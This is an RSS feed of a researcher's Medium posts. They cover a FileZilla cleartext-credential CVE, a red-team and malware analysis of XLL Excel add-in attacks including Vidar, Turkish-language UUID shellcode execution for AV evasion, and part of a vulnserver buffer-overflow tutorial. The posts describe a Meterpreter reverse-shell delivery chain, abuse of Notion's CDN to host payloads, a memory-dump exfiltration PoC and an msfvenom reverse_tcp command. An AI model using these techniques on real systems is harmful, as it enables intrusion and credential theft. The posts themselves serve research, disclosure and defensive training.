<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arda Büyükkaya on Medium]]></title>
        <description><![CDATA[Stories by Arda Büyükkaya on Medium]]></description>
        <link>https://medium.com/@whichbuffer?source=rss-37594e7a8b49------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*5P6FX5N1Vwey_-muMJ2DpQ.jpeg</url>
            <title>Stories by Arda Büyükkaya on Medium</title>
            <link>https://medium.com/@whichbuffer?source=rss-37594e7a8b49------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:26:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@whichbuffer/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[FileZilla Client — Cleartext Storage of Sensitive Information in Memory Vulnerability…]]></title>
            <link>https://whichbuffer.medium.com/filezilla-client-cleartext-storage-of-sensitive-information-in-memory-vulnerability-83958c1e1643?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/83958c1e1643</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Tue, 07 Jun 2022 15:35:19 GMT</pubDate>
            <atom:updated>2022-06-08T14:04:07.480Z</atom:updated>
            <content:encoded><![CDATA[<h3>FileZilla Client — Cleartext Storage of Sensitive Information in Memory Vulnerability (CVE-2022–29620)</h3><p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29620">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29620</a></p><p>FileZilla Client is one of the most frequently used Software for the FTP/SFTP operations, in this writeup I will make a publication of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29620">CVE-2022–29620</a> Vulnerability with details and reproduction of the attack sample. The latest version of FileZilla Client suffers from <a href="https://cwe.mitre.org/data/definitions/316.html">CWE-316: Cleartext Storage of Sensitive Information in Memory Vulnerability</a> that can cause the compromise of user credentials due to storing the user credentials in memory without any protection.</p><p>Attackers need to compromise the victim device to exploit this Vulnerability.</p><h3>Description of the Vulnerability</h3><p>On the latest version of FileZilla Client, if a user connected to the FTP server with Username and Password credentials, the attacker able to obtain cleartext credentials that was being used once by the user for the FTP authentication process.</p><p>My research identifies that every authentication process has been stored inside FileZilla client memory as a cleartext format without any Encryption or protection on it. This issue ends up with credential stealing.</p><p>I need to add this as a side note, FileZilla client software is also being used for SFTP protocol which means that if an authenticated legit user connects to a remote server, the unauthenticated attacker is able dump the memory of FileZilla client and read the password and username data easily that data could be used by attacker to compromise the remote server over SSH protocol.</p><p><strong>Example of successful authentication:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ve7OLGLePcaiGD2k" /></figure><p>FileZilla Client connected to a remote server over FTP protocol.</p><p><strong>Obtained cleartext credentials inside the memory of FileZilla:</strong></p><p>(Password: admin123*)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pTYFMW3SJd-7qrrU" /></figure><p>(Username: admin)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vtjT1PLl4AbxzZyK" /></figure><h3>Reproducing of Attack</h3><p><strong>1-) Dump the FileZilla Client process with task manager</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFt2ezVPAIJJUZcwiwnX3g.png" /></figure><p><strong>2-) Extract String data inside RAW memory dump</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/0*p_e9WSg4MwIsSXeI" /></figure><p><strong>3-) Obtain the Username and Password as cleartext format</strong></p><p>The memory address of the stored user credentials are changing every time when a user tries to connect another remote server or exit and reopen the FileZilla Client software but still it was easy to find the user credentials amongst all these String data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Z88am26pHfn_vH-Y" /></figure><p>The user credentials are stored in memory every time in a very simple sequence like (<strong>IP -&gt; Password</strong>) that means you can programmatically obtain this credentials even if you didn’t know the metadata of the password/username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*lk7StxrHJ6T90eF4" /></figure><p>When a user tries to connect to a remote server via FTP or SFTP protocol with Username and Password the attacker is able to get cleartext user credentials that are stored unencrypted on memory of FileZilla even if the user doesn’t want to choose to save the user credentials.</p><h3>Real World Attack Example</h3><p>In that part I will share the possible real world attack example that can cause the compromise of remote servers and user credentials. At first in order to obtain the cleartext credentials as an attacker, the user must enter user credentials data inside FileZilla Client GUI or CLI.</p><p>You may ask this question to me; “An attacker able to get unsaved user credentials inside the FileZilla client without a vulnerability such as using a keylogger to obtain all user inputs as cleartext format so what is the benefits of this ?”</p><p>Using this vulnerability as an attacker will increase the stealthiness of the attacks rather then installing a keylogger/password stealer into a system and it have much more targeted goal such as comprises the remote servers by abusing a legitimate but unsecure Software.</p><p><strong>Proof of Concept Steps:</strong></p><p>When the users clicks on a BAT file these steps will occurred</p><p>1-) Dump the FileZilla Client process with help of Windows Sysinternal tool called <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">procdump.exe</a> and save that RAW memory dump into disk</p><p>2-) Compress the RAW memory dump with help of 7zip and save it into disk</p><p>3-) Send compressed ZIP file into attackers Mega upload account</p><p>Then the attacker downloads the RAW memory dump and saves it on own device to extract strings inside the RAW memory dump file, this file now has cleartext FTP user credentials that was being used once by user to connect remote FTP server.</p><p><strong>The proof of concept video can be seen here :</strong></p><p><a href="https://youtu.be/ErZl1i7McHk">https://youtu.be/ErZl1i7McHk</a></p><h3>Remediation</h3><blockquote>Do not hard code sensitive data in programs.</blockquote><blockquote>Disable memory dumps.</blockquote><blockquote>Do not store sensitive data beyond its time of use in a program.</blockquote><blockquote>Do not store sensitive data in plaintext (either on disk or in memory).</blockquote><blockquote>Securely erase sensitive data from memory.</blockquote><blockquote>If you must store sensitive data, encrypt it first !!</blockquote><h3>Conclusion</h3><p>The exploitation of this Vulnerability is relay easy and it can be done by many different ways. I took every opportunity to contact the Software vendor and follow responsible disclosure protocols but unfortunately there is no patch available yet.</p><p><strong>Time-lapse of Vulnerability Disclosure:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VbFJfFaD8pGfXQBUFt7YJQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83958c1e1643" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Macro 4.0 is Dead Long Live The XLL]]></title>
            <link>https://whichbuffer.medium.com/macro-4-0-is-dead-long-live-the-xll-ae3c3a0fa697?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae3c3a0fa697</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Mon, 24 Jan 2022 07:20:00 GMT</pubDate>
            <atom:updated>2022-01-24T15:50:40.307Z</atom:updated>
            <content:encoded><![CDATA[<h3>A quick summary about this Blog post</h3><p>Often times Threat Actors use Windows Office Document as a Malware Spreading tool by abusing one of the key features of Office Document. One of them called Office Macro. An attacker can construct a VBA script Macro that makes Windows API calls to execute Shellcode or utilize certain commands to steal information from victim machine.</p><p>EDR and AV products developed to mitigate this issue, they are now equipped better at stopping malware that uses Office Macros than four years ago So you may think to yourself, is it enough to stop attacks that rely on the abuse of Office Documents ? The answer is NO !</p><p>Threat Actors used more interesting ways to execute Malicious Payloads. Use of Macro 4.0 is one of such examples.</p><h3>What is Macro 4.0</h3><p>Excel 4.0 macro, also known as XLM 4.0 macro, is a benign record-and-playback feature of Microsoft Excel that was introduced back in 1992. This piece of programming code is a solution to automating repetitive tasks in Excel, but unfortunately, also a covert backdoor to malware delivery and abused so often by Threat Actors like Emotet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u0cEm4o-y_dISXAq" /></figure><p><a href="https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=emotet-is-not-dead-yet">(Blog post has been published by VMware)</a></p><p>From an EDR-AV perspective, it is harder to identify the execution of Excel Macro 4.0 at runtime than an execution of a normal VBA Office macro that uses a good old Auto_Open() function . Even so Microsoft has officially disabled Excel 4.0 macro support, thread actors and defenders still play a game of Ping Pong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RrL8WI1pfllCn7-X" /></figure><p><a href="https://therecord.media/microsoft-to-disable-excel-4-0-macros-one-of-the-most-abused-office-features/">(Awesome post from Catalin Cimpanu)</a></p><p>And now, 2022, what is the latest and possibly most abused feature of Microsoft Office Document? Ladies and gentlemen, let me introduce you to XLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vAT9zkfAYhvfHSKg" /></figure><p><strong>Malicious XLL file hosted on Google Drive</strong></p><h3>Technical Analysis of XLL Malwares</h3><p>I’m currently working as a Malware Analyst but In my career I also worked as a Red Teamer. I would like to combine these two fields in this post to give more information about how this attack is acquired, how we can protect ourselves against this kind of attack and how I can test this on my own Network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/0*RS19afrAPV2qhxHp" /></figure><h3>Abusing Excel XLL files</h3><p>XLL files are Excel add-in files. They’re DLL files specifically designed to be run by Microsoft Excel. Think of an XLL file as an Excel DLL that includes an <strong>‘xlAutoOpen’ </strong>function executed by Microsoft Excel when the add-in is opened.</p><p>Threat Actor can start Phishing campaigns designed to push malicious Excel XLL files that download and install the Malware on victims Windows devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1bv1Wun5XTYhEEyG" /></figure><p><a href="https://www.virustotal.com/gui/file/7a9c559ecb12e8a4ef729deca5354cba334c7ffa1c094cb7ef2f6e070798a8a2?nocache=1"><strong>VirusTotal Scan results for Malicious XLL Payload</strong></a><strong>. Only 3 of 66 AV Scanners find this as Malware and we will use this Technique to test our Network.</strong></p><h3>Attack Demonstration</h3><h3>Create a Meterpreter RC4 Encrypted Payload</h3><p>Firstly we need to create a DLL Payload that will give us Remote Shell on the victim device, you can use whatever you want but In this demo we will use <strong>Meterpreter RC4 Encrypted Shellcode</strong> <strong>(windows/meterpreter/reverse_tcp_rc4).</strong></p><p>We will store this Payload and on our humble web server as a PNG format. After user clicks on the <strong>XLL Office Document</strong> it will automatically download our Malware and store it under <strong>C:\ Folder </strong>(you can always choose whatever folder you want)</p><p>Simple Python Server to stores our DLL Payload as .png format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Xx3WejFvQoksS3ah" /></figure><p>Listen to the communication between Attacker and Victim Device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SI2EsKW1bcGeFAGZ" /></figure><h3>Create the Malicious XLL Office Document</h3><p>To perform this attack we can use a Open Source project called <strong>XLL_POC (</strong><a href="https://github.com/moohax/xllpoc"><strong>https://github.com/moohax/xllpoc</strong></a><strong>) made by moo_hax.</strong></p><p>I would like to create this attack sequence but you can always make a more evasive or creative sequence by yourself :</p><blockquote>1. Victim opens the XLL file</blockquote><blockquote>2. Our Payload has been installed on Victim Device via my favorite Windows LOLBIN called Curl.exe</blockquote><blockquote>3. Dropped DLL Payload has been executed by Rundll32.exe under C:\nothingToSeeHereLOL.dll</blockquote><blockquote>4. Even if the XLL file has been closed by the Victim , our Shells still remain in memory. (Tip you can get Persistence Shell via <strong>DLL Side Loading</strong> caused by <strong>GoogleUpdate.exe</strong> go to the <a href="https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/">this</a> URL for further information)</blockquote><p>Clone the XLL_POC on Github page and add this simple code, it will use system() Function to execute Command line arguments on victim device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EyyJ3IMy7RfhA2B6" /></figure><p>So what ? is there any PoC video yes here we go :</p><p><a href="https://youtu.be/gySGAGBdQpc">https://youtu.be/gySGAGBdQpc</a></p><h3>Abusing Notion CDN Servers to Store our Payload</h3><p>If you want to store your Meterpreter Payload and bypass some URL Filters you come to the right place. Joke aside Threat actors can abuse <strong>*amazonaws.com</strong> servers to store Malwares, here is how.</p><p>During my Research on fancy methods to store Malwares I found out one of my favorite Note taking Software called Notion can able to store your Malware, well that’s a cool feature.</p><p>Here is how :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rYJ8nOKqdSE76Q_r" /></figure><p>Drag and drop your DLL Payload — Copy the URL and Paste it into your Curl command .Now you have 24-hours before it gets deleted on Notion’s Server.</p><p><a href="https://www.youtube.com/watch?v=4y9NtHlJvbY">https://www.youtube.com/watch?v=4y9NtHlJvbY</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GQjuC4QnBX7oKoZB" /></figure><p>Malicious URL for Downloading Meterpreter Payload</p><h3>Analyzing the Variant of Vidar Spreading With XLL Malware</h3><p>Right now you can test this attack scenario on your own LAB to perform basic Adversary Simulation.</p><p>We can continue on our Malware Analysis techniques for extracting valuable IOC data from an XLL Malware named <strong>PURCHASE ORDER AZAS112.xls.xll</strong> contains <strong>Vidar Backdoor.</strong></p><p>You can find this Malware Sample on <a href="https://bazaar.abuse.ch/sample/6c67e1ccf77b872b1f3cf257a257d75c4995dc079945080f578b51357ccdbe55/"><strong>MalwareBazaar</strong></a><strong>.</strong></p><p>When we examine this XLL Office Document we can see that Attackers try to use a lossy technique to Phish the Victims, it can seem funny but this Phishing Technique sometimes works against humans.</p><p>Attacker set the extensions as XLS to fool the user, but it is a XLL file. We can see it on the Hex Editor it contains the MZ magic header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sn05HThCUidwAbtt" /></figure><p>Observed Malware sample on HexEditor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9k-pzC2uBw3KAqM-" /></figure><p>We can continue to our analysis with my favorite tool called <strong>PE-Bear</strong>. It is Developed by a awesome Malware Researcher called <strong>hasherezade</strong> you can find her work on<a href="https://github.com/hasherezade"> this</a> Github page.</p><p>When we put our bigger lens, we can saw the Resources section in this DLL Malware (remember XLL Office Document just contains DLL) it have an interesting data name called as DNA ,we will extract this data and continue our Research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v-CD67PgnB902ilz" /></figure><p>We can also see the XLL Document use a special Function called <strong>‘xlAutoOpen’</strong> to execute itself Automatically when the user clicks on it. As a Metadata we can see the Creation date/time of Malware (23.06.2022) and one more interesting String called <strong>ExcelDna64.xll</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HL6UEAmr8l7a17UY" /></figure><p>If we make a little Search about <strong>ExcelDna64.xll</strong> on Google we will make that hmm moment because it looks like this Malware samples use a tool called <strong>ExcelDna to load .NET Payload.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TpMkiRWjgp3oJ77o" /></figure><p>Just like in this example of <strong>Vidar Backdoor,</strong> Threat Actors often use Public Tooling on Github.</p><p>We can see that Vidar Backdoor must be written in .NET</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TIt8B5dteDm0dbPE" /></figure><h3>Analyzing on .NET Payload</h3><p>If we Extract Resource data via PE-Bear, we can see Vidar Backdoor coded in .NET ,inside the XLL Payload it named and stored as <strong>JACK </strong>, have been stored and loaded via <strong>.NET loader ExcelDna</strong>.</p><p>XML Resource File has been extract from XLL :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NU-Ip3vR05Hz3Yec" /></figure><p>Initial Payload DLL called JACK :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GLLSTzc7AZJhqSW4" /></figure><p>Let’s say hi to Jack via dnspy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/0*0MI29w37VEVM2GN0" /></figure><p>If we looked at <strong>Jack.dll </strong>we can understand that, when victim open the XLL Office Document ,malicious payload Automatically execute it self as <strong>service.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CPuMoN84H7Lynpif" /></figure><p>The Payload Variable contains the Shellcode of Vidar Backdoor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/0*vEKJsvct6LxQvjNq" /></figure><p>If we disassemble the Payload we can see the Command and Control Server used by Vidar Threat Actor. (himarkh[.]xyz)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*EExVZ5jH2V_eTQrZ" /></figure><h3>Conclusion</h3><p>At this moment we saw how Threat Actors are abusing the Microsoft Office Documents features like XLL to spread the Malwares, we made an Malware Analysis on Vidar Backdoor that use a interesting .NET loader technique to evade detection.</p><p>Also I showed a demonstration to how to perform a similar attack technique with XLL Payload on our LAB environment. Adversary Simulation shown on this Blog post can answer us this question, are we prepared for this kind of attack ?</p><p>At this moment when you read this Blog post , Threat Actors are still trying to find another interesting technique to evade detection and execute Malware on Corporate Networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*L5q_5gADBs-d-RvE" /><figcaption>Threat Actors selling their XLL Payload Generation Service on RaidForms</figcaption></figure><p>We have seen a growth in Malware campaigns using malicious Microsoft Excel (XLL) files to deliver Malware families such as Dridex, Agent Tesla, Raccoon Stealer and Formbook.</p><p>It is always best to be prepared for such an attack before the attack happens on your Network.</p><p>Monitoring and responding to new, emergent cyber-criminal trends is a key part of what we do in <a href="https://www.infinitumit.com.tr/">InfinitumLabs</a>, ensuring intelligent and adaptive protection to<a href="https://www.infinitumit.com.tr/"> InfinitumLabs </a>customers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae3c3a0fa697" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[UUID ile Shellcode Yürütme Yöntemi]]></title>
            <link>https://whichbuffer.medium.com/uuid-ile-shellcode-y%C3%BCr%C3%BCtme-y%C3%B6ntemi-21c01155ec78?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/21c01155ec78</guid>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Mon, 25 Jan 2021 11:34:05 GMT</pubDate>
            <atom:updated>2021-01-25T12:26:00.036Z</atom:updated>
            <content:encoded><![CDATA[<h3>UUID İle Shellcode Yürütme Yöntemi</h3><p><strong>Shellcode nedir</strong></p><p>Bilgisayar korsanları hedef makine üzerinde kod yürütmek için Shellcode kullanır bu kod saldırganın seçtiği bir metot ile hedef bilgisayara sızmak için veya güvenlik açığı olan bir yazılımda Binary Exploitation test etmek için kullanılabilir.(calc.exe çalıştırmak)</p><p>Bu örnekte Metasploit kullanarak hedef bilgisayar üzerinde Reverse Shell açmayı amaçlıyoruz , bu işlemi yaparken Anti Virüs yazılımlarının alışık olmadığı bir yöntem kullandım.</p><p><strong>Universally unique identifier (UUID)</strong></p><p>Temel amaç merkezi bir otoriteye bağlı olmadan yani sadece merkezi bir yerden oluşturulmak zorunda kalmadan unique değer elde etmek için kullanılır. Temel prensip UUID üretmeye kalktığımız zaman her seferinde farklı bir değer üretecektir. Aynı değerin iki kez üretilme ihtimali 0 olmasa da 0 a yakın bir olasılıktadır. Bizim istediğimiz şey bu özelliği Windows cihazlarda istediğimiz Shell Kodu yürütmek için sömürmek.</p><p><strong>Msfvenom İle ShellCode Oluşturmak</strong></p><p>Msfvenom içinde birden fazla işletim sistemi için farklı teknikler ile kolayca oluşturabileceğimiz payloadlar barındırır, basitçe açıklamak gerekirse saldırgan tarafından hedef sisteme sızmak için kullanılan çok küçük boyutlu zararlı yazılımlar diyebiliriz günümüzde bu yöntem gerçek hayata yakın değildir ve çok gelişmiş teknikler kullanılmadan Anti Virüs sistemlerini bypass edemez yani kolayca yakalanır.</p><pre>msfvenom -p windows/shell/reverse_tcp -f raw -o sc_msf.bin LHOST=&lt;Saldırgan_IP&gt; LPORT=&lt;PORT&gt;</pre><p>Hedef makine üzerinde TCP ile shell açmak demek o cihaz üzerinde kullanıcıya ait olan dosyaları kopyalama , ekran görüntüsü alma, webcam üzerinden ses ve görüntü kaydı vb.. bir çok saldırı için kapı aralar , bilgisayar korsanı ne kadar profesyonel ise bu aşamadan sonra saldırı kümesi o kadar genişler.(<a href="https://attack.mitre.org/">https://attack.mitre.org/</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*M8oaHhv8yJLMSBrgydCnbg.png" /></figure><p><strong>Oluşturulan .bin uzantılı dosyayı UUID formatına dönüştürmek için basit bir Python script:(16 bitlik parçalara bölerek)</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/29b05a10d204e9c283d7724a8c3cf0a2/href">https://medium.com/media/29b05a10d204e9c283d7724a8c3cf0a2/href</a></iframe><p>Zararlı yazılımı .bin formatından UUID formatına dönüştürdükten sonrası sizin yaratıcılığınıza kalmış , VBA macro oluşturup .docm formatında görülen bir dosya ile hedef bilgisayarda kod yürütebilirsiniz veya C ile oluşturduğunuz UUID kodlarını HeapAlloc fonksiyonu ile RAM üzerinden yürütebilirsiniz bunu uygulamak için Windows API olarak Remote Procedure Call (RPC) isimli bir Header tanımlamamız gerekiyor bu bize Windows işletim sisteminin sunduğun RPC API larına erişim sağlayacaktır.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d49ae313bb6e1d29f83e05ae158755a7/href">https://medium.com/media/d49ae313bb6e1d29f83e05ae158755a7/href</a></iframe><p>Bu C kodu üzerinde oynamalar yapıp oluşturduğunuz zararlı yazılımı sistem üzerinde kullanıcı oturumu her açtığında çalıştırması için veya belirli bir yazılıma enjekte olması için kolayca modifiye edebilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*2y89-h0cEx8VMENyOr4bLQ.png" /></figure><blockquote>Zararlı yazılım bu metodu kullandığı zaman Windows Defender tarafından tanınmadı , Windows 10 Pro x64 bit ile test edildi.</blockquote><p><strong>POC</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FSnVJfWSXuHs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DSnVJfWSXuHs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FSnVJfWSXuHs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9c158f91bc1a98feebda903328173aeb/href">https://medium.com/media/9c158f91bc1a98feebda903328173aeb/href</a></iframe><p><strong>Anti Virüs firmaları tarafından yakalanma sıklığı:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*YG_7LvQhtYeWWSuJ88hkvg.png" /></figure><blockquote><strong>Bu yazı yalnızca araştırma amaçlıdır, bu kodların kullanımı sizin sorumluluğunuzdadır. Burada bulunan kaynak kodlardan herhangi birini nasıl kullanmayı seçtiğiniz konusunda HİÇBİR sorumluluk ve / veya yükümlülük kabul etmiyorum. Burada bulunan TÜM dosyalar YALNIZCA EĞİTİM ve / veya ARAŞTIRMA amaçlıdır.</strong></blockquote><p><a href="https://www.linkedin.com/in/ardabuyukkaya/">https://www.linkedin.com/in/ardabuyukkaya/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21c01155ec78" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Exploit Development With Buffer Overflow Example 1]]></title>
            <link>https://whichbuffer.medium.com/windows-exploit-development-with-buffer-overflow-example-1-158ddcc029fe?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/158ddcc029fe</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Sun, 03 Jan 2021 12:39:09 GMT</pubDate>
            <atom:updated>2021-01-03T12:45:43.360Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Buffer Overflows</strong></p><p>In general when we write an exploit we need to find an overflow in a program. Commonly these bugs will be either Buffer Overflows (a memory location receives more data than it was meant to) or Stack Overflows (usually a Buffer Overflow that writes beyond the end of the stack). When such an overflow occurs there are two things we are looking for;</p><p>(1) our buffer needs to overwrite EIP (Current Instruction Pointer)</p><p>(2) one of the CPU registers needs to contain our buffer.</p><p>You can see a list of x86 CPU registers below with their separate functions. All we need to remember is that any of these registers can store our buffer (and shellcode).</p><pre><strong>EAX</strong> - Main register used in arithmetic calculations. Also known as accumulator, as it holds results <br>      of arithmetic operations and function return values.<br><strong>EBX</strong> - The Base Register. Pointer to data in the DS segment.  Used to store the base address of the <br>      program.<br><strong>ECX</strong> - The Counter register is often used to hold a value representing the number of times a process <br>      is to be repeated. Used for loop and string operations.<br><strong>EDX</strong> - A general purpose registers. Also used for I/O operations. Helps extend EAX to 64-bits.<br><strong>ESI</strong> - Source Index register. Pointer to data in the segment pointed to by the DS register.  Used as <br>      an offset address in string and array operations. It holds the address from where to read data.<br><strong>EDI</strong> - Destination Index register. Pointer to data (or destination) in the segment pointed to by the <br>      ES register.  Used as an offset address in string and array operations. It holds the implied <br>      write address of all string operations.<br><strong>EBP</strong> - Base Pointer. Pointer to data on the stack (in the SS segment).  It points to the bottom of the <br>      current stack frame. It is used to reference local variables.<br><strong>ESP</strong> - Stack Pointer (in the SS segment). It points to the top of the current stack frame. It is used <br>      to reference local variables.<br><strong>EIP</strong> - Instruction Pointer (holds the address of the next instruction to be executed)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*srairTVcbwgy9pvT9zq7rg.jpeg" /></figure><p><strong>We will use these tools:</strong></p><ul><li>Basic Python scripting</li><li>Immunity Debugger</li><li>MONA plug-in for Immunity</li><li>Metasploit Framework</li></ul><p>This write up guides you through all the steps of developing a Windows exploit, using a program that deliberately has a simple buffer overflow vulnerability.</p><p><strong>Here are the steps of the process:</strong></p><ul><li>Preparing a vulnerable server</li><li>Fuzzing the server</li><li>Using a debugger to examine the crash</li><li>Targeting the EIP register</li><li>Identifying bad characters</li><li>Locating a vulnerable module with MONA</li><li>Generating exploit code with Msfpayload</li><li>Creating final exploit code</li></ul><p><strong>Target Application (vulnserver) : </strong><a href="https://github.com/whichbuffer/WindowsExploitDev/blob/master/vulnserver/vulnserver.zip">https://github.com/whichbuffer/WindowsExploitDev/blob/master/vulnserver/vulnserver.zip</a></p><p><strong>Testing the Server</strong></p><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><p>Replace the IP address with the IP address of your Windows machine.</p><pre><strong>nc YOUR-SERVER-IP 9999</strong></pre><p>You should see a banner saying “Welcome to Vulnerable Server!”, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*oNW64GM_i2gFazp7WiJQYA.png" /></figure><p>Type <strong>HELP</strong> and press Enter. You see a lot of commands. None of these actually do anything useful, but they do take input and process it.</p><p><strong>Fuzzing</strong></p><p>Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.</p><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>nano vs-fuzz1</strong></pre><p>In the nano window, type or paste this code. This is a simple Python script that does the same thing you just did — it connects to the server and executes a TRUN command with a specified number of “A” characters.</p><p>Replace the IP address with the IP address of your Windows machine.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ea584aa15872401983b7a18c21f63515/href">https://medium.com/media/ea584aa15872401983b7a18c21f63515/href</a></iframe><p>Run the fuzzer, but enter a length of 9000.An error message says “vulnserver.exe has stopped working”, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*A66S4OgyaUhL2x-YMz-pJg.png" /></figure><h3>Starting Immunity and Attaching a Process</h3><p>On your Windows desktop, right-click the “<strong>Immunity Debugger</strong>” and click “<strong>Run as Administrator</strong>”.</p><p>In the “User Account Control” box, click <strong>Yes</strong>.</p><p>Immunity Debugger runs, with four black panes, as shown below.</p><p>Make your Windows desktop large, and drag the borders of the panes so you can see all four of them, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OeISauVk8z-Dtbkcm89jZw.png" /></figure><p>Now we will attach a running process to Immunity. That will encapsulate the process inside Immunity, so Immunity can examine and control the process.</p><p>From the Immunity Debugger menu bar, click <strong>File</strong>, <strong>Attach</strong>.</p><p>In the “Select process to attach” box, click 